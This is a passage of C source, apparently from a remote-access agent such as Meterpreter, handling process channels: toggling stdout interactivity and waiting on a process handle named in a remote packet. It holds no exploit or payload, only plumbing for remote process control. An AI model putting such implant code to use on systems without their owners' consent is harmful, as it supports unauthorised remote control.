process_channel_close( channel, NULL, ctx );
channel_close( channel, remote, NULL, 0, NULL );
}
return result;
}
/*
* Enables or disables interactivity with the standard output handle on the channel
*/
DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context, BOOLEAN interact)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_interact. channel=0x%08X, ctx=0x%08X, interact=%d", channel, ctx, interact );
if (!channel_exists(channel) || ctx == NULL)
{
return result;
}
// If the remote side wants to interact with us, schedule the stdout handle
// as a waitable item
if (interact) {
// try to resume it first, if it's not there, we can create a new entry
if( (result = scheduler_signal_waitable( ctx->pStdout, Resume )) == ERROR_NOT_FOUND ) {
result = scheduler_insert_waitable( ctx->pStdout, channel, context,
(WaitableNotifyRoutine)process_channel_interact_notify,
(WaitableDestroyRoutine)process_channel_interact_destroy );
}
} else { // Otherwise, pause it
result = scheduler_signal_waitable( ctx->pStdout, Pause );
}
return result;
}
/*
* Wait on a process handle until it terminates.
*
* req: TLV_TYPE_HANDLE - The process handle to wait on.
*/
DWORD request_sys_process_wait(Remote *remote, Packet *packet)
{
Packet * response = packet_create_response( packet );
HANDLE handle = NULL;
DWORD result = ERROR_INVALID_PARAMETER;
handle = (HANDLE)packet_get_tlv_value_qword( packet, TLV_TYPE_HANDLE );
#ifdef _WIN32
if( handle )
{
if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 )
result = ERROR_SUCCESS;
}
#else
if( ! waitpid(handle, NULL, WNOHANG))
{
result = ERROR_SUCCESS;
}
#endif
packet_transmit_response( result, remote, response );
return result;
}